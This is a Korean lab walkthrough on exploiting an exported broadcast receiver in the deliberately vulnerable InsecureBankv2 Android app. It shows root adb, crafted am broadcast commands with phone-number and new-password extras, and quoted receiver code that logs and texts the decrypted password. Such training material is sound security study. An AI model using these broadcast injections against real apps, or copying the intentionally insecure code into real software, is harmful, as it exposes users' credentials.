1 AndroLabServer 구동
(1) PowerShell을 띄우고 아래 명령어를 수행한다.
cd ~\\Desktop\\InsecureBankv2\\AndroLabServer
(2) 그리고 다음의 명령어를 수행함으로써 AndroLabServer를 구동한다.
python .\\app.py
(3) 서버가 정상적으로 구동하면 아래의 메시지가 출력된다.
The server is hosted on port: 8888
2 InsecureBankv2 앱 구동
(1) 안드로이드 스튜디오를 실행시킨 후, 안드로이드 가상 디바이스 (AVD)를 띄운다. 안드로이드 스튜디오에서 InsecureBankv2 프로젝트를 빌드한다. AVD상에 InsecureBankv2 앱을 설치한 후 구동시킨다. 그리고 InsecureBankv2 앱에 대한 로그인(아이디:dinesh, 패스워드: Dinesh@123$)까지 완료한다.
3 adb를 이용한 브로드캐스트 리시버 취약점 분석
- 브로드캐스트는 방송 신호를 보내는 것, 신호를 받는 쪽에 취약점이 존재하는 것!
(1) 다음과 같은 명령어를 PowerShell에서 차례대로 실행한다.
adb root
adb shell
(2) 위의 명령어들은 adb 상에서 루트 권한으로 쉘 명령어를 실행할 수 있게 한다.
(3) 그리고 adb 프롬프트 (generic_x86_64:/ #) 상에서 다음의 명령어를 실행한다.
- am(activity manager → 액티비티를 관리하는 역할을 사용해 브로드캐스트 실행)
- MyBroadCastReceiver → 브로드캐스트를 받는 Receiver
- intent-filter
- 화면 간의 이동 시에 데이터를 전달하거나 통신하는 형태
- theBroadcast는 intent인 동시에 방송 신호
// am을 사용하여 MyBroadCastReceiver에게 theBroadcast(방송신호)를 보내자
am broadcast -a theBroadcast –n com.android.insecurebankv2/.MyBroadCastReceiver
// MyBroadCastReceiver는 BroadcastReceiver를 부모로 가짐
public class MyBroadCastReceiver extends BroadcastReceiver {
String usernameBase64ByteString;
public static final String MYPREFS = "mySharedPreferences";
...
// AndroidManifest.xml
<intent-filter>
<action android:name="theBroadcast" >
</action>
</intent-filter>
(4) am은 액티비티 매니저로써 안드로이드 시스템에 대한 다양한 액션을 수행할 수 있다. 위의 명령어를 수행하면, am을 통해서 브로드캐스트된 theBroadcast 인텐트를 InsecureBankv2 앱의 MyBroadCastReceiver가 수신하여 처리한다.
(5) 위의 am 명령어가 정상적으로 처리되면 아래와 같은 결과가 출력된다.
Broadcasting: Intent { act=theBroadcast flg=0x400000 cmp=com.android.insecurebankv2/.MyBroadCastReceiver }
Broadcast completed: result=0
(6) 로그 정보 중에서 System.out 태그 중에 Information 관련 내용만 출력하기 위해서 다음의 명령어를 PowerShell 상에서 수행한다. (s의 의미는 silent, 필요 없는 것들은 출력하지 마라!)
adb logcat -s System.out:I
(7) 위의 명령어를 수행하여 다음과 같은 결과가 출력되는 것을 확인한다.
**//** 전화번호가 입력되지 않았기 때문에, phone number가 null로 나온다.
**I System.out: Phone number is null**
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
String phn = intent.getStringExtra("phonenumber");
String newpass = intent.getStringExtra("newpass");
if (phn != null) {
try {
SharedPreferences settings = context.getSharedPreferences(MYPREFS, Context.MODE_WORLD_READABLE);
final String username = settings.getString("EncryptedUsername", null);
byte[] usernameBase64Byte = Base64.decode(username, Base64.DEFAULT);
usernameBase64ByteString = new String(usernameBase64Byte, "UTF-8");
final String password = settings.getString("superSecurePassword", null);
CryptoClass crypt = new CryptoClass();
String decryptedPassword = crypt.aesDeccryptedString(password);
String textPhoneno = phn.toString();
String textMessage = "Updated Password from: "+decryptedPassword+" to: "+newpass;
SmsManager smsManager = SmsManager.getDefault();
System.out.println("For the changepassword - phonenumber: "+textPhoneno+" password is: "+textMessage);
smsManager.sendTextMessage(textPhoneno, null, textMessage, null, null);
} catch (Exception e) {
e.printStackTrace();
}
}
else {
// 이 print문에 의해 !
System.out.println("Phone number is null");
}
}
(8) am 명령어의 es 옵션을 사용해서 추가적인 정보인 newpass와 phonenumber를 다음과 같이 adb 프롬프트 (generic_x86_64:/ #) 상에서 입력한다.
// es 옵션으로 두개의 값을 넘기는 것
am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver --es phonenumber 5555 --es newpass test
(9) 위의 am 명령어가 정상적으로 처리되면 아래와 같은 결과가 출력된다.
Broadcasting: Intent { act=theBroadcast flg=0x400000 cmp=com.android.insecurebankv2/.MyBroadCastReceiver (has extras) }
Broadcast completed: result=0
(10) 다시 한번 다음의 명령어를 PowerShell 상에서 수행한 후 화면에 출력되는 내용을 캡처한다.
- 캡처한 내용을 보면, 현재 패스워드가 노출된 것을 알 수 있다 → Dinesh@123$
- AVD에서 확인해보면 로그와는 다르게 실제 계정의 패스워드는 변경되지 않았다. 취약점
adb logcat -s System.out:I
// 패스워드 자체 암호화 -> decryptedPassword
String decryptedPassword = crypt.aesDeccryptedString(password);
String textPhoneno = phn.toString();
// 패스워드를 복호화하여 노출 -> +decryptedPassword+
// 바뀌었다는 text만 출력할 뿐 실제 "+newpass"로 패스워드가 변경되는 로직은 X
String textMessage = "Updated Password from: "+decryptedPassword+" to: "+newpass;